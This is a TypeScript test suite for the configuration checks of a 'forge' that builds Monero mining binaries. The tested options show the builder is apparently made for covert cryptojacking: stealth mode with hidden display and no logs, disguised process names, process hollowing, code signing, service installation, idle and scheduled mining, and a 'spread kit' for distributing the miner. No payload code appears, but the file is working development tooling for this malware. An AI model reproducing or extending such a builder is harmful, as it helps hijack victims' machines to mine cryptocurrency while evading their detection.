import { describe, expect, it } from 'vitest'; import { runForgeCompatibilityChecks } from './forgeCompatibility'; import { runForgePreflight } from './forgeValidation'; import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; import type { BuildRequest } from '../types'; /** Valid mainnet-style Monero address (95 chars, starts with 4). */ const VALID_WALLET = '4' + 'A'.repeat(94); function baseForm(overrides: Partial = {}): BuildRequest { return { worker_name: 'pc-lab-1', server_url: 'http://192.168.1.10:8989', wallet: VALID_WALLET, pool_host: 'pool.supportxmr.com', pool_port: 3333, pool_tls: true, pool_pass: 'x', ...FORGE_BUILD_DEFAULTS, ...overrides, } as BuildRequest; } function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) { const checks = runForgeCompatibilityChecks(form, fusionPrep); const match = checks.find((c) => c.id === id); if (!match) return false; return level === undefined || match.level === level; } describe('runForgeCompatibilityChecks', () => { it('returns no errors for a fully valid form', () => { const checks = runForgeCompatibilityChecks(baseForm(), false); const errors = checks.filter((c) => c.level === 'error'); expect(errors).toHaveLength(0); expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true); }); describe('stealth and display', () => { it('errors when stealth mode uses visible display', () => { expect( hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error') ).toBe(true); }); it('errors when stealth mode enables file logging', () => { expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe( true ); }); it('errors when fusion uses visible display', () => { expect( hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error') ).toBe(true); }); }); describe('idle mining mode', () => { it('errors when idle threshold is out of range', () => { expect( hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error') ).toBe(true); expect( hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error') ).toBe(true); }); it('errors when idle duration is below 1 minute', () => { expect( hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error') ).toBe(true); }); it('does not check idle fields when mining mode is not idle', () => { expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe( false ); }); }); describe('scheduled mining mode', () => { it('errors when schedule times are missing', () => { expect( hasCheck( baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }), false, 'schedule', 'error' ) ).toBe(true); }); it('passes when both schedule times are set', () => { expect( hasCheck( baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }), false, 'schedule' ) ).toBe(false); }); }); describe('threads and CPU limits', () => { it('warns when adapt_to_hardware is on with fixed thread mode', () => { expect( hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn') ).toBe(true); }); it('errors when thread percent is out of range', () => { expect( hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error') ).toBe(true); expect( hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error') ).toBe(true); }); it('errors when max CPU usage is out of range', () => { expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true); expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true); }); it('errors when max memory is out of range', () => { expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true); expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true); }); }); describe('pool configuration', () => { it('errors when pool port is out of range', () => { expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true); expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true); }); it('warns on port 443 without TLS', () => { expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true); }); it('warns on TLS with port 3333', () => { expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true); }); it('warns when pool password is empty', () => { expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true); }); }); describe('run mode and AI', () => { it('warns when run_as is service', () => { expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true); }); it('warns when AI uses 127.0.0.1 endpoint', () => { expect( hasCheck( baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }), false, 'ai_localhost', 'warn' ) ).toBe(true); }); it('warns when AI is enabled without self-healing', () => { expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true); }); }); describe('identity fields', () => { it('errors when process name is empty', () => { expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true); }); it('warns when process name has unusual characters', () => { expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true); }); it('errors when worker name is empty (preflight)', () => { const checks = runForgePreflight(baseForm({ worker_name: '' }), false); expect(checks.find((c) => c.id === 'worker')?.level).toBe('error'); }); it('errors when server URL uses localhost (preflight)', () => { const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false); expect(checks.find((c) => c.id === 'server')?.level).toBe('error'); }); it('errors when server URL uses 127.0.0.1 (preflight)', () => { const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false); expect(checks.find((c) => c.id === 'server')?.level).toBe('error'); }); it('warns when wallet does not match Monero format (preflight)', () => { const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false); expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn'); }); it('accepts minimum-length wallet (90 chars) in preflight', () => { const wallet = '4' + 'A'.repeat(89); expect(wallet.length).toBe(90); const checks = runForgePreflight(baseForm({ wallet }), false); expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok'); }); it('accepts subaddress starting with 8 in preflight', () => { const subaddress = '8' + 'B'.repeat(94); const checks = runForgePreflight(baseForm({ wallet: subaddress }), false); expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok'); }); it('emits forge_ready when core config is coherent', () => { const checks = runForgeCompatibilityChecks(baseForm(), false); const ready = checks.find((c) => c.id === 'forge_ready'); expect(ready?.level).toBe('ok'); expect(ready?.message).toContain('Core miner config looks coherent'); }); }); describe('fusion and deliverables', () => { it('emits fusion_ready when prep is attached', () => { expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true); }); it('errors when spread kit targets non-universal OS', () => { expect( hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error') ).toBe(true); }); it('errors when spread kit and fusion are both enabled', () => { expect( hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error') ).toBe(true); }); it('warns when universal has no spread kit or fusion', () => { expect( hasCheck( baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }), false, 'universal_deliverable', 'warn' ) ).toBe(true); }); }); describe('platform-specific constraints', () => { it('errors when process hollowing is set on Linux', () => { expect( hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error') ).toBe(true); }); it('errors when process hollowing is set on macOS', () => { expect( hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error') ).toBe(true); }); it('errors when sign_build is set on Linux', () => { expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe( true ); }); it('errors when sign_build is set on macOS', () => { expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe( true ); }); }); });